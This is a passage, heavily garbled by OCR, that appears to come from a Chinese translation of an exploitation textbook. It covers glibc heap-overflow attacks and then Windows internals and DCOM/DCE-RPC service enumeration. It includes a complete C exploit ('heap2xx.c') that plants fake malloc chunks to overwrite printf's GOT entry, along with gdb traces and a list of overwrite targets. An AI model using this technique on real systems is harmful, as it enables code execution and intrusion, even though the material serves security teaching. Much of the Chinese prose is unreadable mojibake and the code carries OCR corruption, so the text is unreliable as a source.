buf2=(char*)malloc(1024); //this was a free() in the previous example
printf ("Done."); //we will use this to take control in our exploit

}
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SERR G ARMARBALRAEAN, FRA0xa1A0xs0R + R, BAEKEHLTOxALR
SAK It (Jeskkdtprevious-flagiimmap-flagit A 1R KK, BAHRLHHEAE
R, AR K A E ), LA XA R E LHEE R 17E.

EREXAMEF BB, N T Cheap2@ Agdb R, AT FFA S
(gdb) r “python -c 'print
T\X507 #1028+ 7 \XEE® ¥4+ " \xa0\XEE\xEE\XDE\XA0\XE E\REE\RDE" "

;;# #£Mandrake Fo b —32 A % k., ﬁdﬁ,exit_funcsﬁ—‘i’g/i. TiAfi<__cxa_atexit+

45>: mov %eax, 0x4 (sedx) Lk EMF &, LARKHT AN, sedxZ o)A FALARRMNAE
E 38

Ak imalloc AR 4 HAER, ARE LI MR FEAAUI__ine_malloc () . %4

R, rifimalloc () SEHLTT fEMelibofR AT R IMRE. £ FHMARIME, binkiREXSEH
Bttt

bin = bin_at(av, idx);

for (victim = last(bin); victim != bin; victim = victim->bk) {
size = chunksize(victim);

if ((unsigned long) (size) >= (unsigned long) (nb)) {
remainder_size = size - nb;

unlink(victim, bk, fwd);

/* Exhaust */
if (remainder_size < MINSIZE) (
set_inuse_bit_at_offset (victim, size);
if (av = &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb);
return chunkZmem(victim);

/% split */
else {
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av) ->bk = unsorted_chunks(av)->£d = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av) ;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
check_malloced_chunk(av, victim,

nb) ;
return chunk2mem(victim);
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}
}

BAMEAATUBAEHAE, Rill, WRABRBAETEH, HRERHERT. htakix
FEWE? EERREHMAREREHNEM, K -RERIEA AR T 4% K fakechunk->
size minus size/NT16B, HRUBIEHRA T — Mt RAZABERIE T —MEEHR .
R FAR RGO fE BRI, TR B R s U RASTTBE Y, BMEG RS, e
e A (FERKH AR SR, Halvar Flake® 3 “MRFF0 B4 T HRA5 QMBER, EH
ENERE TR, ER5.
X BT ERA AL, BRI SO B M R, sRE T bR A0 A fi e
K IIin, BRAE A SRR EAT. AR DU th 9/ 4R S 2B bin (heap2.c
WEFHERT B, EEREEGEEEPREFE. B, X7 EEAIRR R, B
A B XS R BT
RSB T A M AT M.
O R RS £ree () ' aBRINIRET, (EHEEHRIMFSEE R BITEN. LT bR
Do, 1T ELF AT S R E R AN

O F P A SR R E T DA R0, SR RATR SR MIEER, 0 AR AT 10 KRS T 0
RIGKAE, 7EXERZ1024B (FHAEH—MYLES, FTUEE N E8B). XTI 7
HALM.

B AT R A - B Ema 1 10c () W SERUT, JE0S (RAFESL I B Ao s et
WA Himalloc (), HHTEEFIBHRSHEMIEEH (X Forintf () K, RGlobal Offset
Tableff)% E), /5 Hprint £ () JLHATESE 51 Eshellcode, 7EXMITF Eftoxce, HBtREMHR
hilfines. M FXEIKBEE, EOERETASERICAE O (B, ROARE
malloc () AKX Himmapped () AMERMIER “HT—R” MR ELLD

heap2xx.c ~ exploit for heap2.c

SIHXANHGHRBE, AR R

(1) glibe 2.2.5, RVHE-MNEBMEM—ANF.

(2) glibe 23.2, FVFE AT Sk IRAAL T ATRSE (A Atk o SRR A AR 5
BT BEREAR 9 AT R«

YR, TEAEMTARMET, XABEATHAR L= shell. EZEBMMIIRS, MH & FE HIIT
TR B seg-fault. 4R, KX THEITH Hshell, RFitshellcode i F|£3E AL
HENTT .

i1t sdglibe 2.3.2 FUH T LU, JEMINT A%, FRHHAKT #glibe 2.2.5 F1
glibc 2.3.2 Z MR, WARIREIAE], MBMPIROUTER, FIH RN TR SR
RURE.

O B i 4 W Mbuf2 ffimallocRARIESE, #Aifa (RTm#gE) bk USRI #B (Lleax

HE HRET - ARATTU SRR E R, 8, E0> 1032 + afenvilifi
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B, DUMERF orl $0x1, 0x4 (%eax, $esi, 1)B1T, HhesiF Rl Heaxtit, fMieax
B A1032.

Q 4 F—Ymallocif 1024 FE KSR, & GRARATD) 7% ARAIIE MbinK R, 3
SRFXA DB IRA e BRI AR WP tagzor.

O ffiok. fd ptrAifhifTenvikffiprev_size (OxEEEEEEfC) FEIRFF, LIBHERA LA
ARk, RRTE AT ARSIEAT.

Q JE s < chunksize (FD) MR RWCRIE AR, T LAZEenvAR BIEA/MNF B H1032
SRIEFIH K

O FERMEFE, secxfRIXFEGANFF: mov %ecx, 0x8(%eax).

AT LAE Blprint ££)Global Offset Table (GOT) % H (FEIXAMIF E R ox080496a4) Kl
R B HIAXEAT R . BT S, T HEAER AP BB E 8, f8EFTHE
% R

(gdb) x/x 0x080496d4

0x80496d4 <_GLOBAL_OFFSET_TABLE_+20>: 0x4015567¢

R eax BRI B F ecx B, LHE:

(gdb) i r eax ecx

eax 0x41424344 1094861636

ecx 0x4015567¢ 1075140220

(gdb)

RAVBEE T RFFIOPATIRAE, Wneap2 . ctEHATE, —REBlprint £BkFImain_arena (i
ecxtf k).

LAFEGT, FEFFBBRT .

(gdb) x/i$pe

0x40155684 <main_arena+100>:  cmp  ¥bl,0x96ccOB04 (Sebx)

(gdb) disas $ecx
Dump of assembler code for function main_arena:

0%40155620 <main_arena>: add  tal, (%eax)
. *snip* ...
0%40155684 <main_arena+100>:  cmp  %bl,0x96cc0804 ($ebx)

*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define VULN *./heap2"

© pinftiEH R — AR, —BUH TR R DR, —— .
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#define XLEN 1040 /* 1024 + 16 */
#define ENVPTRZ 512 /* enough to hold our big layout */

/* mov %ecx, 0x8 (PRINTF_GOT) */

#define PRINTF_GOT 0x08049648 - 8

/* 13 and 21 work for Mandrake 9, glibc 2.2.5 - you may want to modify
these until you point directly at 0x408 (or OxEEfffffc, for certain
glibc's). Also, your address must be "clean” meaning not have lower bits
set. 0xf0 is clean, Oxfl is not.

*/

#define CHUNK_ENV_ALLIGN 17

#define CHUNK_ENV_OFFSET 1056-1024

/* Handy environment loader */
unsigned int
ptoa(char **envp, char *string, unsigned int total_size)
{
char *p;
unsigned int cnt;
unsigned int size;
unsigned int i;

p = string;
ent = size

i=0;
for (ent = 0; size < total_size; cnt ++)
{
envp(ent] = (char *) malloc(strlen(p) + 1);
envplent] = strdup(p);
#ifdef DEBUG
fprintf(stderr, "[*] strlen: %d\n", strlen(p) + 1);
for (1=0; i < strlen(p) + 1; i ++) fprintf(stderr, "[*] %d:0x%.02x\n",
#endif
size += strlen(p) + 1;
p += strlen(p) + 1;
}
return cnt;

int
main(int arge, char **argv)
{
unsigned char *x;
char *ownenv [ENVPTRZ] ;
unsigned int xlen;
unsigned int i;
unsigned char chunk[2048 + 1]; /* 2 times 1024 to have enough
controlled mem to survive the orl */
unsigned char *exe(3];

i, pli)
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unsigned int env_size;
unsigned long retloc;
unsigned long retval;
unsigned int chunk_env_offset;
unsigned int chunk_env_align;

xlen = XLEN + (1024 - (XLEN - 1024));
chunk_env_offset
chunk_env_align
exe[0] = VULN;
exell] = x = malloc(xlen + 1);
exe[2] = NULL;
if (%) exit(-1);
£printf(stderr, "\n[*] Options:

<enviroment chunk offset> ]\n\n*);
if (argv(l] && (arge ==
if (argv(2] & argc
fprintf (stderr,

chunk_env_offset);
retloc = PRINTF_GOT; /* printf GOT - 0x8
written to, ecx is a chunk ptr */
/*where we want to jump do,
is good for a demonstration */
retval=0xbf£££A40;
fprintf (stderr,

CHUNK_ENV_OFFSET;
= CHUNK_ENV_ALLIGN;

[ <environment chunk alignment> ] [

2 || arge

3)) chunk_env_align = atei(argvii]);
3) chunk_env_offset = atoi(argv(2]);
*[*] using align %d and offset %d\n*, chunk_env_align,

... this is where ecx gets

if glibc 2.2 - just anywhere on the stack

“[*) Using retloc: %p\n*, retloc);
memset (chunk, 0x00, sizeof (chunk));

for (i = 0; i < chunk_env_align; i ++) chunk(i] = 'X';
for (i = chunk_env_align; i <= sizeof(chunk) - (16 + 1); i += (16))
{

*(long *)&chunk[i) = OxEE£ffffc;

*(long *)&chunk[i + 4] =

(unsigned long)1032; /*
. breaking loop (size

1024 + 8) */

/*retval is not used for 2.3 exploitation...*/
*(long *)&chunk(i + 8] = retval;
*(long *)&chunk[i + 12] = retloc;

Recx, 0x8 (Seax) */

== chunksize (FD)

/* printf GOT - 8..mov

#ifdef DEBUG

for (i = 0; i < sizeof(chunk); i++) fprintf (stderr, *[*] %d:
0x%.02x\n", i, chunk(i]);

memset (x, Oxce, xlen);

*(long *)&x([XLEN - 16] = OXfEfffffc;

*(long *)&x[XLEN - 12) = OXEEEE£££0;

/* we point both fd and bk to our fake chunk tag .
used is ok with us */

so whichever gets

/*we subtract 1024 since our buffer is 1024 long and we need to have
space for writes after it...

* you'll see when you trace through this. */
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*(long *)&x[XLEN - 8] = ((0xc0000000 - 4) - strlen(exe(0]) -
chunk_env_offset-1024) ;
*(long *)&x[XLEN - 4] = ((0xc0000000 - 4) - strlen(exe[0]) -

chunk_env_offset-1024) ;
printf("Our fake chunk (Oxfffffffc) needs to be at $p\n", ((0xc0000000
- 4) - strlen(exe[0]) - chunk_env_offset)-1024);

/*you could memcpy shellcode into x somewhere, and you would be able
to jmp directly into it - otherwise it will just execute whatever is on
the stack - most likely nothing good. (for glibc 2.2) */

/* clear our enviroment array */

for (i = 0; i < ENVPTRZ; i++) ownenv(i] = NULL;

i = ptoa(ownenv, chunk, sizeof (chunk));

fprintf(stderr, "[*] Size of enviroment array: %d\n®, i);

forintf (stderr, *[*]) Calling: ¥s\n\n", exel0]);

if (execve(exe[0], (char **)exe, (char **)ownenv))

{

fprintf (stderr, "Error executing ¥s\n”, exe(0]);
free(x);
exit(-1);
}
}

523 BRHEHY

LFFISTA MRS I, Irace RIAFI TR . RESI LRSI ARMER I, AL LA E
HLH,

(1) MR . X R AR RO FRAE B W i execve, FRARM MR SRR MR
RAMA K flexecve () HBNX MM, TERMEE T WM ERHVIHIL .

(2) ABEQEME . XA EHHANFIGUF, i 4 2 768 XI5 B Fmalloc i 3,
T A NGRSk AR IS 4 o

() MH— BB AR MRFEE - PmallocE ¥ (R—mallocEi %) HE—PRE
Ao BATMEXAMRFFIITIE S R R B4

AVEIAR 5]t S 47 AR ) R v LR T (), R0 g TS e ek, 4Bk
AW R HIERE, BOR TR HIBIPRE 08 B AR PP 2 ARSI IAT o DUR AR 9 54
RS, REGBIMEZ G A% BAERE, TERRHARNT, WRABTEIT XA ol LRI
Wil BARRLFF LR BCHARES (KA MRS A BB R

B4

US40 W AR LR 34 R .

(1) S5 R Mt .

(2) ME TS BE ) — B,

Q) WRAT UG HA T, MATURE — R, RIEHE DRI SR XML,
ik, FLH SRR (Mis_logged in) M7 K BURREFIIBATHIAE .

® GOT#H
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JHobjdump-Rifheap2 () GOTE 8 ¢ :
[dave@www FORFUN]$ objdump -R ./heap2

. /heap2: file format elf32-i386

DYNAMIC RELOCATION RECORDS

OFFSET  TYPE VALUE
08049654 R_386_GLOB_DAT  __gmon_start__
08049640 R_386_JUMP_SLOT  malloc

08049644 R_386_JUMP_SLOT  __libc_start main

08049648 R_386_JUMP_SLOT  printf
0804964c R_386_JUMP_SLOT  free
08049650 R_386_JUMP_SLOT  strcpy

o SRR MAR4

VFEERY, Wimalloc.c, MHKBARRHEIEREFENOERE L. CRFHBR—L
HAB M EAL R sh . X EHIE/E, BIF A _free hook . __malloc_hook fll
__realloc_hook ™ MEM—A, LKA ).

© DTORS

DTORS /& goc?L iR 0 H I 3 fATHI B . 76 FIEIABYF B, 22l ¥ exd e SRIRE
i, BATAT LI 80496321 K iF IR E .

[dave@www FORFUN]$ objdump -j .dtors -s heap2

heap2: file format elf32-i386

.dtorsTIfIPIA:

8049628 £f£EEEEE 00000000 ...l

® atexit4 AL

B A exit_funcsHIRY L # Ratexitdh FLFYF, WEADIMEOEM. Xk FHEF
B,

o i

RFAHTTIAT AR BE, HREARAF R R 4 AT AT . AAT0, fEmRtn, /R
REFR BRI BIEFEAL 2 L ERAEE R, Bk, IOF AR

53 g

DR 4y K 4 3 th R B Hmal Lo () MR SR ARIEE RN, BT A6t 2570
malloc () 3L, FEMRY AR ORI T — T, EHRIR b, X8 TERRRP RS
AL, B, AR HMImalloc () FHEBA RIMX LR B, ERINGEAAH
I R4 FreeBSD HE S AEHEAT ] #4022 A HERYED) o BPAERIHERR G T, #Rfmalloc ()
SPA AR FBORBH T, (DT AFULRIL, B2 BISAR SR 0E th ) Bty



Part 2
HihEE: Windows. Solaris.
OS X # Cisco

BHAAIE, RITES%¥S TERELnIASIY-4 EFRRN, XIS EmE e,
BTGB R RSB W BN BHR Windows ¥ &, R LI Windows B MM A,
PR — A B AHRRES . 5563 Windows SLimx/IA3ATAR; 4578 M Windows
Shellcode; SESFIRABII Windows IR A2 s, TEMIRRAIELL/SHEBBE Windowshysd
BEARGIR WindowsHR M5 . LEFFLMEBAYA KR T A TAEMBRABEAT R .

HAHST I AT A B R IAR M Solaris, OS X#ERGEMCiscoLfs LHNE. &
7SolarisHIBE (A R AR B VIA 2L AR, TERITFABMAOHE, RITAESME
WHLHH . RATE AR KA Solaris, KA TREAA AT LURDI B #: SPARC LY ,
Solaris; 5 10%E4 A Solaris V- £ AREA: HUNEAFREAZ, BIMA FiProcedure Linkage
Table, LAKAEshellcodett § Ablowfishfn 8% .

BLBEAFOS X, HE AN G Dl MPowerPCF & L EFARFN AR 2. $138
WHFCisco £, LU B R RBIFFHAEZ L6 EMbug AR . B1480 KRR
9K BOE PR RGPS 5 AR Bl .

BT EIERT, ABIET URABIE KRN BT RS LR R
AR, HRXOSFIGIFA B 4 Fha 2B Pt AR .

SRR B GSolarisHE
#12#  OS X shellcode
B3R BAHOSBURBAR
W4k RPHUH

6%  Windows#ERL
#78  Windows shellcode
87 WindowsHi t
SEOTE IRkt uk AR
S108  SolarisBifFAIT
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F
-
-

Windowsisi{’ﬁ,%%ﬁ

[ S

=2 4T Linux, SRR A E R RIER LB LR SLinux . AREEIE
1] o304t Windows Y2 it —F Mecrosoft U, IR AEUNIX B X Windows 4 HEH
BUFIEIM . SRARYSIE, IRNAZAT LIRSS S A Windows FIFIFRFF, JF7E24R 24
ARBIREARET, 8 G B BB R
TEAEE, PRI AT DA% S A F 3 WL Windows R TR, JF i — 4% > Windows %
4. WFHA , DCOM (Distributed Component Object Model, 4} 2041 %} % 4% ) FIPECOFF
(Portable Executable-Common File Format, A4 SEATHAT CA#ER) SRR 0
MHEZ, ARGEHAEETTELREEREEMRS B WindowsF & 1 L2 8K T #EH
W&

6.1 Windows #f Linux B E

NTHLH 415K T-19894F, ¢E19914E ¥ YCRAT T Windows NT 3.1. #E## 2], Windows NT
FFR A B BB EA M E A RGMILH . L, BARVMSENTZEH AR5,
FEARAIA AR, NTRYIMAHS W R EEASZVMSH i R o EAERNRL, NTHFYIRA
BMBIANT WEEFEMS . AT ALinuxBlUNIXH P AR RBRINTH) L2k

Win32 API #1 PE-COFF

OllyDbg/t— & it ILHMAEN Windows T iR (LEI6-1), HEHIEH T 47 =34
S PRSI R AT BT IR AE (WIONlyDbe) HAT B T EAFIEMATF AR . K
TEREXREFMMIR, HRBE—-NXFKHTR. OlyDbg &3t EH M, TUMN
http:/www.ollydbg.de/ T R HEA . WindowsIIAPIE32ALfY, LinuxfFEAE 5 7T LAIE Windows API
A0S usr/1ib BT MFEFEHA .

JEMR 4o RAR*T Windows APIT iV K — EAR R 403k, il4fik— FBrook MilesHi 5 t k4 4
#4342 (www.winprog.org/tutorial/ ),

fELinux L, HLKWIFETF R Fopen () Bwrite ) Z AWM RGN, BT LAR'S B A
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WBAHINFRSF . {47EWindows L BHHIX A 38 T o Windows NTIHEAMFT RS LA RITHI &%
BRHARAR D, h T AEEOREGRLFF AT AR SE TAE, KA R 7ESRBUR S WAL RAT R A A &
AR #% (WA ADLL (Dynamic Link Library, SAVSE#H)]. DLLAMEF A ALA KT
B AT B B SOR G T 3848, SR M AT HATARID R A2 7E SMIDLLE, S46R1 )
HIFLFOITHRTE, —ADLLTTLMUE —MREM BRI, SIS, Windows APIILSCRE R —
MEFRIDLLAS, Bk, {8 fIWin32 APIRUSER 3L Su 40 R v 6 h A k.

Fd6-1  OllyDbgRl Ll &R WA MIDLLANFTA 7 8

XS4 Windows AT B ALK T IR MR, BxhE—k, BMAERAIEEABIMAPT
A — LRI RE, AR R B EHAEHAPL, SR, EEFRANUNIXES
B, RBEREHOGEFREAEMA, RRAEE S0 REWAMMFNEE.

FIABIRACERAE R FE, Windowsth i HI ol AL A4, MRFFAEIZITIIAT LB A
Ina, MIfTHRGEIE S RBE . Linux B AR MR L. . soSCAFIER MBI, 7EWindows T A&
DLL. FMELF3Cf## 3. so%fMl, DLLAEPE-COFFXf##3 [#FHPE (portable executable)].
PE-COFFU HUNIX COFFH$, J&—Hb el MM, B0 01T 4RSI Hr4 324
Windows -5 L. PEINARAERZIXA L MR

PESCAFMTHUIB A EIE SARM G R, §ARIRPECH MBI HIWL (DLL) X4,
VAR SH BB S oP (R PR 8. F H R MR MEDLL AT ARG AR M, th 3 T 0 o 3 7
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DLLICPF ittt . DLLBERAWFESE, TR LURIRIX S R B H BB $AKI|HPE
KAEME . {2EDLLE 69 &3k, &85 ik R A DL XL .

REHPEXAFRATERECA . MELFX AL, PEXMFHEFEEAIR, HHM. relock
BRI TN REEMDLL, 4/ . relocf H MR RVFFRFT IR GR 30 FAR F P 7728 W) (07
ADLL.

FUNIXAKR—HEMR, Windows B 5644 248 T4 F SR FHIRDLL, fRJ5 #4304kt )7
R NREMBRAE, XAMIRYT BB Cierix sk 20 RS BAEIMIHLS . HRERMIFRE
HFBERT, XA SV FFRH AR AT REM AR (\winnt\systen32) HMDLL. 44,
TR LR AR AREL, HIHEIXH [ AR 9 DLL-hell. BFIDLL-hell i 8 /16
MR EREMFEIFIT, b T B A FIARADLLZ W fvh9E, 1 A8 V% pATHIR 8545 BB % JDLL
Wk W%

*3JPE-COFF, HSLEIMRVA (Relative Virual Address, AIXF#IHAL). RVAH T
PEINERARH AR, i MHRVA, B30T DU 52 78 e Mt 22 () MOAE TR 7 s S AR
RVA, PEMBBHFEHNGITEEMNEE, NREAROREAR. 6% Win32695
b, RTRECLERE, MIKA T ERMEAINH [RVA. AV (Access Violation, V7laiifsl).
AD (Active Directory, #E3)HR) F], MARZRUNIXFHMAAREHARER (tmp. ete. viv
segfault), ANIIHEIIE, PR R FBRRATF RN, BEFINILTFAREBRHK MR,

SEMR AT RR A MW, AakAE) BRiEFA —HaEF DR FR AN, (255E
MARAREA Al i

RVASSFEEMEBR: “& MDLLRANEEN, RERNIHMR LD, HELE
I RVA 1) £ SR T LA 4R 30 5 2 9 0% (R0 .7 Llmsvert. a1l fimalloc () & ¥ 6,
msvert. ALk HALHE Tmsvere . dLLRAMEHE (FHE). BNMFHEFLERYK
mallocHl RVA (ffl, 2000). R&iEmsvere. a1IANAER, 2AILEEt, EXERE
EH£0x80000000, XHE—3K, MATLLEN0x80002000 (FEHEHIERVA) HFmalloc¥ T . 16
BIBL T, Windows NTHNAR . EXERIHEAE £ 0x40000000. 2448, ARHEE S EARA IR B IEHA
(XA AL AT FTEAE, {5 — M8 0x40000000.

K2 R 2 SR ATPE-COFFAF 453U o T LUK 24 7] (fIMSDNGH 25 F 8045 AR A SR
REMFEA, REMLSWinDbg i FHBAHRGLNTIEAT S M4 38 . ki8R, OllyDbgH HTiE
TRICHE AR (TR 5 PR S5 8.«

% TWRPE-COFFIE L WA, MK/ 7 I 35 LI &R PE-COFF. Jjm, WAKidtE,
Windows NTAIUNIXAA-#E, B SV P BIBR AL 3.

6.2 it
DLLA NN 2V IV K. HI46 R 8O0 7 X £ Vi il HeapCreate () KR M T H T
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K, SHEMRBNIEH RN SRR, L, ELURNEAREBETRT, TURERER
. AZHIMDLLIEERFER A — . datalX B, AITFRIFLAER, /EX)THFE, el
BARER L4 PRI R BRSO 454 . BFARIBATERE S, WAL MEEDLL, Wil S A
FRMBIFEFE . FAFMME0E, BBABETRES FRALRHIEEL. ELinuxi,
W fg SR AL BIWER, {A7EWindows ELHI AT AE R JLANESLEDBBIAR, OB B RATII ST
EMES AP EWN2 R fimalloc OB, fh3EFF A #Rnsvere. a11 B MR, XA
PR fiineapvalidate () K4 Bimsvere . a1 R HE. #R7T kS BiHeapvalidate () BI3HT
W5 ERAHTHEBALHINTY, (XA R BB LR AR .

TR HE i IS Pl shellcode i I Win32 APTRR ¥ % & 512 EL, 7ERt1HeapFree()
HRtlHeapAllocate () B, HERBTIEER, MHETREIIRGEES: WilsHs
TEMRIRA B L AT 1R  winExec () FIZSANK BB FORAL B b Tk 5 AR 0 3 3L 3 TG 7
EZ B

ANERAE QIR Z I# A — BRI, RATT DUH Getpefaultieap () REXAMRINGE, B
REANHERDREBBIAMIAN o FAERNOR, EOMKTUBSRBRNAR. Fla, R
ISKERWE WM, REBHCHIRERALE, HFERRREROBIE. RGN
FRIFASE, 3 BRI eSS IR R L, R SRR TR (0 Py 77tk B4R
BAHERANFETRREAAT . BFXAHb, BFEFEOAFRREARHAHT,
B4 & S i shelleode S FE M G5 72 7 (¥ T 47 P 7 22 1] «

Windows b it i FTUNIX ERIZARL . WRARIRAE M8, 7T BAZE Windows L il R RE ()
TR, VRPEEEAT AR RN B AR, TR A5 .

%12

© A FERA Y R SV AR ) I AT SRR A, JEE R — 7725 . WindowsHI Y%
DUERFRT A & LAEFR g BV R 4 CPURY 1] /o LinuxfH “42 B #72” (Light-weight process) #
RIHFLRE, MR HBIK, A YLinuxSEBICEMLRM, EA4 RRALBIRABRERE
MERELE. FLinx P& L, ARAEREOBEEE, HREEED TNTLLEHRE
T .

R SHRESULT K R # V). HRESULTR — MMM, JLT-FTHIWin32 APIA A #2&HE .
HRESULT#T BU — MR EUR — ok MRERHHRE, T fcetLastError () (EML
FLIK) R AR AE Ak BRI A1 8 JE (0 RARES) BN AR IOHNR . IRIRE 18 AR UNIX AR, 3t
BATINEX SR AR A (Kermo (HERS ). Win32 NBTHZ ATk & — MR FEEAL,

Windows# 77 fork () (LinuxffiforkQUR4EH ¥R, TRfcreateprocess ) IREHHHT
WAEAE I B AR o T °T LA E (R SO AR AR ARAE BT PT AR (9 0RR . RN SRR
K BACIX S WA TR, R PR AT X SR CHOW R LA B3, 0
SCAFAIRHABD .

B LT BT (R AR A AR RAR BT DAt 2 A EANT B B4 20 iR bt 3 Rk
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H it JLP R e AIR [Elibe ¥ ik OREH AT REMEFIfERADLL, 1 AR (LR libe BRAMAM AT
FRARIAT £ o

6.3 DCOM. DCE-RPC Bk &

DCOM. DCE-RPC. NTHIZERERBR AR NTHES S MER LIRS . —IFHR
AT T HCOMMEA R, 78) FRATEARCOM SUNIXH 3 A #1577 .
BT T LR RAT IR, RN RE ST . Rk, MEKARTF
REFTHREHZFHDCOM. WP =77 TCOMBER, HEANTMAHRE, /5 Visual Basic
AREAT, BSEAT LLAIRA M TN AR .
BATAT LA SZRFCOMIKE S S ECOMX R, FF UK LR R % H.. COMEIRIAHF
PSR BFTAE B PR . B, MCHRVLR— BB, X Visual Basic T & &R AL,
T WENFEMRCOM, RIi%7 % LAYIDL (Interface Description Language, #H#iidiEH)
e RAIFEJESCHHRHERIDCOM DL o
[ uuid(e3: 482-101: 18),
version(1.0),
implicit_handle (handle_t rpc_binding)
1 interface ???
{
typedef struct {
TYPE_2 element_1;
TYPE_3 element_2;
} TYPE_1;

s;mrt Function_00(
[in] long element_9,
[in] [unique] [string) wchar_t *element_10,
[in]) [unique]) TYPE_1l *element_11,
[in) [unique] TYPE_1l *element_12,
[in] [unique] TYPE_2 *element_13,
[in) long element_14,
[in] long element_15,
(out] [context_handle] void *element_16
)i
BAEIX B 5 XAIDLAICH RSBl AT B, X8 R oot XK ZR
e B REBR R BB M (RURENED . RARME—BEMTRPE (FTA N4 T) ECOMBHE—
ANcurp. MWHARBOEA 28R RO S A ME— (), ARV, HAefF—. Bk, SR5H -
HefouTD, HWALINHYINGE o
COMM L) IR TT AEAE N B¢ XF (GLRFCOMMY)) W HHRPREREL, BBEAER—
B, JEIDLAVEHAH HRIXANHE T W ET RINKR, TLRTR. 4. AN
e WEHABBANL, F5.
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SR L, AT S R AT R B . et ilittle-endian/F R, CKEHOH 32
DLy, HEMCHFRREBRECH COMNM R ERMMET

HCOMXM A R 7 k. BB EEADLLENR 2N, RFTeEIMmSET (8
%fService Control Manager (EAsysTeM{XFUEATHAGHRIAD) ] (EH MR HIZITCOMIRS, B
KRBT, HATUGRIERREERE. E22. SRAHANHEREERR, LERER L
BBAE R 2R B A COMEZ 12 4R L 10004%; A R —AHLAS Ly, SCH AR —mg
RO ER L1067,

X Windows K, HB TS MG R AL A AR MR M Ak 2%, 12
FPRBE AR (6 0 HEAR A R AL 28 AT AR R (K

B, HENTLMATHRS . MRIEETS N SarX LR EReHG S, B4,
RS LA B ATHR 45 42 1 5 X, FEDCOMBMIZRE] — MO L, F AR AN 1 R Bk 2.
LR, TEARIIE AR 5 R 2 ) R R HOR Y, elrse (IDL3CH, T #E R
W BN EFREATE AL AL b, e 2T VR FRE R BT . AR IS, IRE
DCOMER ¥ 7T LU BE A2 1 ST AL OAT AT (TCP3 D135 JFi# i iR 95 M VT35 1 o
WY (CEASHR A DCOMIIS, BIRSEEETRIMHN 1 L) HmR “ariR4s ELER
WEAF 4 A RPCARSS, IRATLARERE$I4458R139% 0. XIDCE-RPCUHIR L, EHIEAEM
WFTCP34 F11025MIUDPH 110347, TiIX et JF 4 # 1o = 2R B WY .

YRIAER % AN DCE-RPCRIDCOMIREE AR FTE T o #RFT LL 4 — kil RIDCOMAY, 5k
G — G TTAE S V. FeADCOMEETTIIMLER, MFF A # Ml Visual Basic, C++aitit
SCHDCOMINE B mFDEREEA . R EER ERG AL, k0T LA BHEDCOMMEy# D 4E HDLL
WAE PR XANER LT X 5 Windows NT 53040 R %88 F & (U BARASFE. “H% P~
Wiy ORFEATAERAE” F1 UM HITER " RN RE—DCOM.

AT, X eAF A 1 L DCE-RPCHIDCOMMIBE SUFTHE . — M AR T A B LA A
T AR T AERE AR . A5 2, NI AR AL TR L R G R B SN T AR R
K ADCOM S i [t R & A KA FEE—HF, Rt RMEEERE, FTUAEHE L REWHRAE [

TRABATIIR RIS A A

T4 #4426 FIDCE-RPC FIDCOMIER I .
6.3.1 {iER

A WA T AT T 5 DCE-RPC: Dave A-lel{r‘JSPIKE (www.immunitysec.com/) Fl
Todd Sabinf)DCE-RPC-L AL (http: /bindview. Utilities/)«

ZEXAMIF B, BAVHASPIKE B (i dcedump R /75 FL L5 FH 3 sl B 2 S A IDCE-RPCIR
% (hHAIDCOMIEM). XFIAEUNIX R IZ4T rpcdump-pI R EARE o

[dave@localhost dcedump]$ ./dcedump 192.168.1.108 \ head -20

DCE-REC tester.

TcpConnected

Entrynum=0
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annotation=
uuid=4 1-11, £48a135 ,
Executable on NT: inetinfo.exe

ncacn_np: \\WIN2KSRV [ \PTPE\NNTPSVC]
Entrynum=1

annotation=
uuid=906b0ce0-c70b-1067-b317-004d010662da , version=1
Executable on NT: msdtc.exe

ncalrpe [LRPCO00001£4.00000001]

Entrynum=2

annotation=
uuid=906b0ce0-c70b-1067-b317-004d010662da , version=1
Executable on NT: msdtc.exe
ncacn_ip_tcp:192.168.1.108(1025)

AR, X, RATINAEMED, WA AR %S eI TR ERE . RATAT U
SPIKEf$ Hids Cifids) R/t —SAA M B RFRAME D . U8, B ERELT
FATHIE M TCPEIT (msdtc. exefilsh).

[dave@localhost dcedumpl$ ./ifids 192.168.1.108 135
DCE-RPC IFIDS by Dave Aitel.

Finds all the interfaces and versions listening on that TCP port
Tep Connected

Found 11 entries
elaf8308-5d1£-11c9-91ad-08002b14a0fa v3.
b -1lcf-al 1b vi.
975201b0-59ca-11d0-a8d5-00a0c90d8051 vi.
©60c73e6-88£9-11cf-9af1-0020af6e72£4 v2.
99fcfecd-5260-101b-bbcb-00aa0021347a vO.
b9e79e60-3d52-11ce-aaal-00006901293f V0.
412f241e-cl2a-11ce-abff-0020af6e7al? v0.
00000136-0000-0000-c000-000000000046 V0.
c6f3ee72-ceTe-11d1-b71e-00c04fc31lla v1
4d9f4ab8-7dlc-11cf-861e-0020af6e7c57 vO
000001a0-0000-0000-c000-000000000046 vO

cooonvmooobo

Done

BUAE, T AR SR PR R S A TCPAR 45 L F4RAE Y, 7T LA B BEtX 2 Py A4 SPIKE
(fimsrpefuzz F/¥. W RIRAIXLEARS WIDL [ATAN 3P0 H (nSnort) 4R EI—#4) 1,
A DU B S EBOT. T, REER GEEAT BT A —EHI4H7 7. Matt Chapman )
Muddle (www.cse.unsw.edu.aw/~matthewc/muddle/) T RF FTHRY . &7 LA B FL SE L
WHRATIA B ENHIBEEVRIR. AFIFLEIDLA B EMuddleE 1, AERATMRPCTELL
M SO BARAN

PR T LT FETT AR K 4F o] 5 74 #8354 T DCE-RPCHM . MSMBEISOAP, MSLARTT
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LIfEE EEIEHEDCE-RPC, BEAER AFTH MK TR, EXA 02, Rl AEBIms Tl
[ (ncacn_np) LHDCE-RPC. Local RPC# H k¥ DCE-RPCHITCPH 1 EMRIDCE-RPC. fir%
B, TCPAIUDPHE: NARE AT UG VS 1. X3t RERBABR LA AR

6.3.2 R

BARZ TR FIDCOMIR 25 RIBAR T AR ity SunRPCIR 55 I ¥ AR % . & AT Ll Toopen () 5k
system () KRB, LRV FISCPERS LRI, FHREBIX 8 th R LIB, BIAGETIA
E, BE BN AT AR RS S AT RS RS . B RIESERPCIR S (X 47 T
